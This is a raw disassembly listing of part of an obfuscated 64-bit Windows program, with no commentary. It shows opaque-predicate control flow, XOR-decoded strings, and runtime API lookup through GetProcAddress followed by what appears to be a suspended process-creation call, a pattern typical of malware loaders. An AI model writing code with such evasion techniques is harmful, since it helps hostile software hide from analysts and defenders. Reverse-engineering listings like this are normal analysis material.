je 0x140033a98
jmp 0x140033aa7
jmp 0x140033861
jmp 0x140033861
xor eax, eax
cmp eax, 2
je 0x140033b4c
movzx eax, byte [0x140204bc5]
movsx eax, al
mov dword [rsp + 0x8d0], eax
call fcn.14002d620
movsx eax, al
mov ecx, dword [rsp + 0x8d0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x8d8], eax
call fcn.14002d5f0
movsx eax, al
imul eax, eax, 7
mov dword [rsp + 0x8d4], eax
call fcn.14002d5d0
movsx eax, al
mov ecx, dword [rsp + 0x8d4]
imul ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0x8d8]
add ecx, eax
mov eax, ecx
movzx ecx, byte [0x140204bc4]
movsx ecx, cl
xor edx, edx
div ecx
movzx ecx, byte [0x140204bbd]
movsx ecx, cl
sub eax, ecx
mov eax, eax
cvtsi2sd xmm0, rax
movsd xmm1, qword [rsp + 0x450]
mulsd xmm1, xmm0
movaps xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [rsp + 0x508], eax
jmp 0x140033b57
mov dword [rsp + 0x508], 8
movsxd rax, dword [rsp + 0x58]
mov rcx, qword [rsp + 0x1f8]
mov edx, dword [rsp + 0x508]
mov eax, dword [rcx + rax*4]
xor eax, edx
movsxd rcx, dword [rsp + 0x58]
mov rdx, qword [rsp + 0x1f8]
mov dword [rdx + rcx*4], eax
movzx eax, byte [0x140204bc3]
movsx eax, al
movzx ecx, byte [0x140204bbf]
movsx ecx, cl
shl ecx, 1
sub eax, ecx
cvtsi2sd xmm0, eax
mov eax, dword [rsp + 0x58]
sub eax, 0x76
cvtsi2sd xmm1, eax
mulsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x458], xmm0
movzx eax, byte [0x140204bc5]
movsx eax, al
mov dword [rsp + 0x8dc], eax
call fcn.14002d620
movsx eax, al
mov ecx, dword [rsp + 0x8dc]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x8e4], eax
call fcn.14002d5f0
movsx eax, al
mov dword [rsp + 0x8e0], eax
call fcn.14002d5d0
movsx eax, al
mov ecx, dword [rsp + 0x8e0]
imul ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0x8e4]
add ecx, eax
mov eax, ecx
movzx ecx, byte [0x140204bc4]
movsx ecx, cl
xor edx, edx
div ecx
movzx ecx, byte [0x140204bbd]
movsx ecx, cl
sub eax, ecx
test eax, eax
je 0x140033dfd
movzx eax, byte [0x140204bbf]
movsx eax, al
mov dword [rsp + 0x8e8], eax
call fcn.14002d610
movsx eax, al
mov ecx, dword [rsp + 0x8e8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x8ec], eax
call fcn.14002d600
movsx eax, al
imul eax, eax, 6
movzx ecx, byte [0x14020fab0]
movsx ecx, cl
imul eax, ecx
mov ecx, dword [rsp + 0x8ec]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x8f0], eax
call fcn.14002d630
movsx eax, al
mov ecx, dword [rsp + 0x8f0]
sub ecx, eax
mov eax, ecx
test eax, eax
je 0x140033dfd
mov dword [rsp + 0xf8], 0
jmp 0x140033cbf
cmp dword [rsp + 0xf8], 0xf
jae 0x140033df8
cvtsi2sd xmm0, dword [rsp + 0xf8]
movsd xmm1, qword [rsp + 0x458]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x16f0], xmm0
call fcn.14002d5d0
movsx eax, al
cvtsi2sd xmm0, eax
movsd xmm1, qword [rsp + 0x16f0]
ucomisd xmm1, xmm0
jp 0x140033d3a
jne 0x140033d3a
mov eax, dword [rsp + 0xf8]
and eax, 0
cvtsi2sd xmm0, eax
movsd xmm1, qword [rsp + 0x458]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x458], xmm0
jmp 0x140033bb7
cvtsi2sd xmm0, dword [rsp + 0xf8]
movsd xmm1, qword [rsp + 0x458]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x16f8], xmm0
call fcn.14002d5e0
movsx eax, al
cvtsi2sd xmm0, eax
movsd xmm1, qword [rsp + 0x16f8]
ucomisd xmm1, xmm0
jp 0x140033da2
jne 0x140033da2
mov eax, dword [rsp + 0xf8]
and eax, 1
cvtsi2sd xmm0, eax
movsd xmm1, qword [rsp + 0x458]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x458], xmm0
jmp 0x140033db9
xor eax, eax
cmp eax, 1
je 0x140033db5
jmp 0x140033ea2
jmp 0x140033de2
cvtsi2sd xmm0, dword [rsp + 0xf8]
movsd xmm1, qword [rsp + 0x458]
addsd xmm1, xmm0
movaps xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [rsp + 0x50c], eax
jmp 0x140033ead
xor eax, eax
test eax, eax
je 0x140033dee
jmp 0x140033dfd
jmp 0x140033bb7
jmp 0x140033bb7
xor eax, eax
cmp eax, 2
je 0x140033ea2
movzx eax, byte [0x140204bc5]
movsx eax, al
mov dword [rsp + 0x8f4], eax
call fcn.14002d620
movsx eax, al
mov ecx, dword [rsp + 0x8f4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x8fc], eax
call fcn.14002d5f0
movsx eax, al
imul eax, eax, 7
mov dword [rsp + 0x8f8], eax
call fcn.14002d5d0
movsx eax, al
mov ecx, dword [rsp + 0x8f8]
imul ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0x8fc]
add ecx, eax
mov eax, ecx
movzx ecx, byte [0x140204bc4]
movsx ecx, cl
xor edx, edx
div ecx
movzx ecx, byte [0x140204bbd]
movsx ecx, cl
sub eax, ecx
mov eax, eax
cvtsi2sd xmm0, rax
movsd xmm1, qword [rsp + 0x458]
mulsd xmm1, xmm0
movaps xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [rsp + 0x50c], eax
jmp 0x140033ead
mov dword [rsp + 0x50c], 8
movzx eax, byte [0x140204bc3]
movsx eax, al
movzx ecx, byte [0x140204bbf]
movsx ecx, cl
shl ecx, 1
sub eax, ecx
cvtsi2sd xmm0, eax
mov eax, dword [rsp + 0x58]
sub eax, 0x76
cvtsi2sd xmm1, eax
mulsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x460], xmm0
movzx eax, byte [0x140204bc5]
movsx eax, al
mov dword [rsp + 0x900], eax
call fcn.14002d620
movsx eax, al
mov ecx, dword [rsp + 0x900]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x908], eax
call fcn.14002d5f0
movsx eax, al
mov dword [rsp + 0x904], eax
call fcn.14002d5d0
movsx eax, al
mov ecx, dword [rsp + 0x904]
imul ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0x908]
add ecx, eax
mov eax, ecx
movzx ecx, byte [0x140204bc4]
movsx ecx, cl
xor edx, edx
div ecx
movzx ecx, byte [0x140204bbd]
movsx ecx, cl
sub eax, ecx
test eax, eax
je 0x14003412a
movzx eax, byte [0x140204bbf]
movsx eax, al
mov dword [rsp + 0x90c], eax
call fcn.14002d610
movsx eax, al
mov ecx, dword [rsp + 0x90c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x910], eax
call fcn.14002d600
movsx eax, al
imul eax, eax, 6
movzx ecx, byte [0x14020fab0]
movsx ecx, cl
imul eax, ecx
mov ecx, dword [rsp + 0x910]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x914], eax
call fcn.14002d630
movsx eax, al
mov ecx, dword [rsp + 0x914]
sub ecx, eax
mov eax, ecx
test eax, eax
je 0x14003412a
mov dword [rsp + 0xfc], 0
jmp 0x140033fec
cmp dword [rsp + 0xfc], 0xf
jae 0x140034125
cvtsi2sd xmm0, dword [rsp + 0xfc]
movsd xmm1, qword [rsp + 0x460]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x1700], xmm0
and al, 0
invalid
add byte [rax], al
call fcn.14002d5d0
movsx eax, al
cvtsi2sd xmm0, eax
movsd xmm1, qword [rsp + 0x1700]
ucomisd xmm1, xmm0
jp 0x140034067
jne 0x140034067
mov eax, dword [rsp + 0xfc]
and eax, 0
cvtsi2sd xmm0, eax
movsd xmm1, qword [rsp + 0x460]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x460], xmm0
jmp 0x140033ee4
cvtsi2sd xmm0, dword [rsp + 0xfc]
movsd xmm1, qword [rsp + 0x460]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x1708], xmm0
call fcn.14002d5e0
movsx eax, al
cvtsi2sd xmm0, eax
movsd xmm1, qword [rsp + 0x1708]
ucomisd xmm1, xmm0
jp 0x1400340cf
jne 0x1400340cf
mov eax, dword [rsp + 0xfc]
and eax, 1
cvtsi2sd xmm0, eax
movsd xmm1, qword [rsp + 0x460]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x460], xmm0
jmp 0x1400340e6
xor eax, eax
cmp eax, 1
je 0x1400340e2
jmp 0x1400341cf
jmp 0x14003410f
cvtsi2sd xmm0, dword [rsp + 0xfc]
movsd xmm1, qword [rsp + 0x460]
addsd xmm1, xmm0
movaps xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [rsp + 0x510], eax
jmp 0x1400341da
xor eax, eax
test eax, eax
je 0x14003411b
jmp 0x14003412a
jmp 0x140033ee4
jmp 0x140033ee4
xor eax, eax
cmp eax, 2
je 0x1400341cf
movzx eax, byte [0x140204bc5]
movsx eax, al
mov dword [rsp + 0x918], eax
call fcn.14002d620
movsx eax, al
mov ecx, dword [rsp + 0x918]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x920], eax
call fcn.14002d5f0
movsx eax, al
imul eax, eax, 7
mov dword [rsp + 0x91c], eax
call fcn.14002d5d0
movsx eax, al
mov ecx, dword [rsp + 0x91c]
imul ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0x920]
add ecx, eax
mov eax, ecx
movzx ecx, byte [0x140204bc4]
movsx ecx, cl
xor edx, edx
div ecx
movzx ecx, byte [0x140204bbd]
movsx ecx, cl
sub eax, ecx
mov eax, eax
cvtsi2sd xmm0, rax
movsd xmm1, qword [rsp + 0x460]
mulsd xmm1, xmm0
movaps xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [rsp + 0x510], eax
jmp 0x1400341da
mov dword [rsp + 0x510], 8
movsxd rax, dword [rsp + 0x58]
mov rcx, qword [rsp + 0x1f8]
mov eax, dword [rcx + rax*4]
add eax, dword [rsp + 0x50c]
movsxd rcx, dword [rsp + 0x58]
mov rdx, qword [rsp + 0x1f8]
mov edi, dword [rsp + 0x510]
mov ecx, dword [rdx + rcx*4]
and ecx, edi
shl ecx, 1
sub eax, ecx
movsxd rcx, dword [rsp + 0x58]
mov rdx, qword [rsp + 0x1f8]
mov dword [rdx + rcx*4], eax
movzx eax, byte [0x140204bbf]
movsx eax, al
mov dword [rsp + 0x924], eax
call fcn.14002d610
movsx eax, al
mov ecx, dword [rsp + 0x924]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x928], eax
call fcn.14002d600
movsx eax, al
imul eax, eax, 9
movzx ecx, byte [0x14020fab0]
movsx ecx, cl
imul eax, ecx
mov ecx, dword [rsp + 0x928]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x92c], eax
call fcn.14002d630
movsx eax, al
mov ecx, dword [rsp + 0x92c]
sub ecx, eax
mov eax, ecx
test eax, eax
je 0x1400345e1
movzx eax, byte [0x140204bc3]
movsx eax, al
movzx ecx, byte [0x140204bbf]
movsx ecx, cl
shl ecx, 1
sub eax, ecx
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x1401cd668]
mulsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x468], xmm0
movzx eax, byte [0x140204bc5]
movsx eax, al
mov dword [rsp + 0x930], eax
call fcn.14002d620
movsx eax, al
mov ecx, dword [rsp + 0x930]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x938], eax
call fcn.14002d5f0
movsx eax, al
mov dword [rsp + 0x934], eax
call fcn.14002d5d0
movsx eax, al
mov ecx, dword [rsp + 0x934]
imul ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0x938]
add ecx, eax
mov eax, ecx
movzx ecx, byte [0x140204bc4]
movsx ecx, cl
xor edx, edx
div ecx
movzx ecx, byte [0x140204bbd]
movsx ecx, cl
sub eax, ecx
test eax, eax
je 0x140034508
movzx eax, byte [0x140204bbf]
movsx eax, al
mov dword [rsp + 0x93c], eax
call fcn.14002d610
movsx eax, al
mov ecx, dword [rsp + 0x93c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x940], eax
call fcn.14002d600
movsx eax, al
imul eax, eax, 6
movzx ecx, byte [0x14020fab0]
movsx ecx, cl
imul eax, ecx
mov ecx, dword [rsp + 0x940]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x944], eax
call fcn.14002d630
movsx eax, al
mov ecx, dword [rsp + 0x944]
sub ecx, eax
mov eax, ecx
test eax, eax
je 0x140034508
mov dword [rsp + 0x8c], 0
jmp 0x1400343ca
cmp dword [rsp + 0x8c], 0xf
jae 0x140034503
cvtsi2sd xmm0, dword [rsp + 0x8c]
movsd xmm1, qword [rsp + 0x468]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x1710], xmm0
call fcn.14002d5d0
movsx eax, al
cvtsi2sd xmm0, eax
movsd xmm1, qword [rsp + 0x1710]
ucomisd xmm1, xmm0
jp 0x140034445
jne 0x140034445
mov eax, dword [rsp + 0x8c]
and eax, 0
cvtsi2sd xmm0, eax
movsd xmm1, qword [rsp + 0x468]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x468], xmm0
jmp 0x1400342c2
cvtsi2sd xmm0, dword [rsp + 0x8c]
movsd xmm1, qword [rsp + 0x468]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x1718], xmm0
call fcn.14002d5e0
movsx eax, al
cvtsi2sd xmm0, eax
movsd xmm1, qword [rsp + 0x1718]
ucomisd xmm1, xmm0
jp 0x1400344ad
jne 0x1400344ad
mov eax, dword [rsp + 0x8c]
and eax, 1
cvtsi2sd xmm0, eax
movsd xmm1, qword [rsp + 0x468]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x468], xmm0
jmp 0x1400344c4
xor eax, eax
cmp eax, 1
je 0x1400344c0
jmp 0x1400345ad
jmp 0x1400344ed
cvtsi2sd xmm0, dword [rsp + 0x8c]
movsd xmm1, qword [rsp + 0x468]
addsd xmm1, xmm0
movaps xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [rsp + 0x514], eax
jmp 0x1400345b8
xor eax, eax
test eax, eax
je 0x1400344f9
jmp 0x140034508
jmp 0x1400342c2
jmp 0x1400342c2
xor eax, eax
cmp eax, 2
je 0x1400345ad
movzx eax, byte [0x140204bc5]
movsx eax, al
mov dword [rsp + 0x948], eax
call fcn.14002d620
movsx eax, al
mov ecx, dword [rsp + 0x948]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x950], eax
call fcn.14002d5f0
movsx eax, al
imul eax, eax, 7
mov dword [rsp + 0x94c], eax
call fcn.14002d5d0
movsx eax, al
mov ecx, dword [rsp + 0x94c]
imul ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0x950]
add ecx, eax
mov eax, ecx
movzx ecx, byte [0x140204bc4]
movsx ecx, cl
xor edx, edx
div ecx
movzx ecx, byte [0x140204bbd]
movsx ecx, cl
sub eax, ecx
mov eax, eax
cvtsi2sd xmm0, rax
movsd xmm1, qword [rsp + 0x468]
mulsd xmm1, xmm0
movaps xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [rsp + 0x514], eax
jmp 0x1400345b8
mov dword [rsp + 0x514], 8
movsxd rax, dword [rsp + 0x58]
mov rcx, qword [rsp + 0x1f8]
mov edx, dword [rsp + 0x514]
mov eax, dword [rcx + rax*4]
xor eax, edx
movsxd rcx, dword [rsp + 0x58]
mov rdx, qword [rsp + 0x1f8]
mov dword [rdx + rcx*4], eax
jmp 0x140032fa0
mov rax, qword [rsp + 0x708]
mov byte [rax + 4], 1
mov eax, 4
imul rax, rax, 0
mov rcx, qword [rsp + 0x708]
mov eax, dword [rcx + rax]
mov dword [rsp + 0x954], eax
mov eax, dword [rsp + 0x954]
lea rcx, [0x14020e530]
mov rax, qword [rcx + rax*8]
mov qword [rsp + 0x1728], rax
mov dword [rsp + 0x66c], 0x61b8
mov dword [rsp + 0x958], 0x31a9
mov dword [rsp + 0x95c], 0x5d7a
mov eax, dword [rsp + 0x958]
mov dword [rsp + 0x66c], eax
cmp dword [rsp + 0x66c], 0
je 0x14003466b
mov dword [rsp + 0x95c], 0x55cb
mov dword [rsp + 0x674], 0x981a
mov dword [rsp + 0x960], 0x7d34
mov dword [rsp + 0x964], 0x32c6
mov eax, dword [rsp + 0x960]
mov dword [rsp + 0x674], eax
cmp dword [rsp + 0x674], 0
je 0x1400346af
mov dword [rsp + 0x964], 0xa220
mov eax, 2
imul rax, rax, 0xe
movzx eax, word [rsp + rax + 0x1f10]
test eax, eax
je 0x1400346d1
mov dword [rsp + 0x678], 1
jmp 0x1400346dc
mov dword [rsp + 0x678], 0
movzx eax, byte [rsp + 0x678]
test eax, eax
je 0x14003479f
mov dword [rsp + 0x67c], 0xa26b
mov dword [rsp + 0x968], 0x3853
mov dword [rsp + 0x96c], 0x7f31
mov eax, dword [rsp + 0x968]
mov dword [rsp + 0x67c], eax
cmp dword [rsp + 0x67c], 0
je 0x140034730
mov dword [rsp + 0x96c], 0x9f8b
mov dword [rsp + 0x1c8], 0
jmp 0x14003474d
mov eax, dword [rsp + 0x1c8]
inc eax
mov dword [rsp + 0x1c8], eax
cmp dword [rsp + 0x1c8], 0xf
jge 0x14003479f
movsxd rax, dword [rsp + 0x1c8]
movzx eax, word [rsp + rax*2 + 0x1f10]
mov dword [rsp + 0x970], eax
mov eax, dword [rsp + 0x1c8]
cdq
mov ecx, 0x36
idiv ecx
mov eax, edx
add eax, 0x37
mov ecx, dword [rsp + 0x970]
xor ecx, eax
mov eax, ecx
movsxd rcx, dword [rsp + 0x1c8]
mov word [rsp + rcx*2 + 0x1f10], ax
jmp 0x14003473d
lea rax, [rsp + 0x1f10]
mov qword [rsp + 0x1720], rax
mov rcx, qword [rsp + 0x1720]
call qword [rsp + 0x1728]
mov rdx, rax
mov rcx, qword [rsp + 0x1e0]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x1548], rax
cmp qword [rsp + 0x1548], 0
jne 0x1400347e9
xor al, al
jmp 0x140041fd9
mov rax, qword [rsp + 0x1548]
mov qword [rsp + 0x1730], rax
lea rax, [rsp + 0x768]
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x1b90]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 1
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, [rsp + 0x2160]
call qword [rsp + 0x1730]
test rax, rax
je 0x14003485b
mov byte [rsp + 0x81], 1
jmp 0x140034863
mov byte [rsp + 0x81], 0
movzx eax, byte [rsp + 0x81]
mov byte [rsp + 0x19e], al
movzx eax, byte [rsp + 0x19e]
test eax, eax
jne 0x140034885
xor al, al
jmp 0x140041fd9
mov dword [rsp + 0x680], 0x4383
mov dword [rsp + 0x974], 0x96a9
mov dword [rsp + 0x978], 0x9753
mov eax, dword [rsp + 0x974]
mov dword [rsp + 0x680], eax
cmp dword [rsp + 0x680], 0
je 0x1400348c9
mov dword [rsp + 0x978], 0x55b2
mov dword [rsp + 0x270], 0
jmp 0x1400348e6
mov eax, dword [rsp + 0x270]
inc eax
mov dword [rsp + 0x270], eax
cmp dword [rsp + 0x270], 0xf
jge 0x140034904
movsxd rax, dword [rsp + 0x270]
xor ecx, ecx
mov word [rsp + rax*2 + 0x1f10], cx
jmp 0x1400348d6
movzx eax, byte [rsp + 0x50]
test eax, eax
je 0x140036287
lea rax, [rsp + 0x4b2]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rax, [rsp + 0x1f30]
lea rcx, str.KnUL_n_tnM__07E
mov rdi, rax
mov rsi, rcx
mov ecx, 0x1e
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0x19f]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rcx, [rsp + 0x19f]
call fcn.14002a0d0
mov qword [rsp + 0x710], rax
mov rax, qword [rsp + 0x710]
movzx eax, byte [rax + 4]
test eax, eax
jne 0x140035fde
mov rax, qword [rsp + 0x710]
mov qword [rsp + 0x200], rax
mov dword [rsp + 0x5c], 0
jmp 0x1400349a2